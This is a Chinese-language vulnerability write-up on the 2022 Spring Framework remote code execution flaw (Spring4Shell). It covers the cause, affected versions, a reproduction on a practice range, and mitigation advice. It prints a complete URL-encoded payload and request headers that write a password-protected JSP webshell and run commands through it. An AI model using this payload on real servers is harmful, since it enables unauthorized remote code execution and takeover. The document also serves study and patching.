漏洞简介

springframework 是spring 里面的一个基础开源框架,主要用于javaee的企业开发。2022年3月30日,Spring框架曝出RCE 0day漏洞,攻击者通过该漏洞可远程实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限。

漏洞成因

该漏洞是由于 Spring Core 未对传输的数据进行有效的验证。Spring MVC 框架提供参数绑定功能,允许用请求中的参数绑定控制器方法中参数对象的成员变量。这一机制使得攻击者能够通过构造恶意请求获取 AccessLogValve 对象,继而注入恶意字段值触发 pipeline 机制,从而能够在未授权的情况下远程构造恶意数据,写入任意路径下的文件,从而导致远程代码执行。

影响版本

Spring Framework 5.3.X < 5.3.18

Spring Framework 5.2.X < 5.2.20

利用条件

  • JDK 版本 >= 9

  • 目标JDK9及其以上版本

  • 使⽤了Spring-beans包;

  • 使⽤了Spring参数绑定;

  • Spring参数绑定使⽤的是⾮基本参数类型,例如⼀般的POJO即可;

漏洞复现

复现环境:这里使用vulfocus在线靶场:

1.连接靶场:

image-20220429220755621

image-20220429220821256

2.发送POC

POC:

?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

访问时抓包,在”/“后插入EXP,并在请求头中插入如下字样:

suffix: %>
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2

poc原理:

其中,header主要变更处为:
“suffix”:"%>",
“c1”:“Runtime”,
“c2”:"<%",
“DNT”:“1”,
“Content-Type”:“application/x-www-form-urlencoded”
:主体部分,链接后接两个参数pwd和cmd,pwd验证密码,cmd为实行的命令
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
:上传的文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
:上传的文件名
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/
:webapps/ROOT/knan为上传的目录,此处为访问创建目录下的文件

数据包内容:

image-20220429223038550

3.利用

若创建通过,放包后访问[url]/tomcatwar.jsp?pwd=j&cmd=id即可看到id命令成功执行。

image-20220429222443020

image-20220429223116723

利用工具

https://github.com/reznok/Spring4Shell-POC

修复建议

一、官方修复建议:

当前 Spring Framework 官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

二、临时修复建议:

该临时修复建议存在一定风险,建议用户可根据业务系统特性审慎选择采用临时修复方案:

需同时按以下两个步骤进行漏洞的临时修复:

\1. 在应用中全局搜索 @InitBinder 注解,看看方法体内是否调用 dataBinder.setDisallowedFields 方法,如果发现此代码片段的引入,则在原来的黑名单中,添加 {“class.“,”Class. “,”. class.“, “.Class.“}。(注:如果此代码片段使用较多,需要每个地方都追加)

\2. 在应用系统的项目包下新建以下全局类,并保证这个类被 Spring 加载到 (推荐在 Controller 所在的包中添加). 完成类添加后,需对项目进行重新编译打包和功能验证测试。并重新发布项目。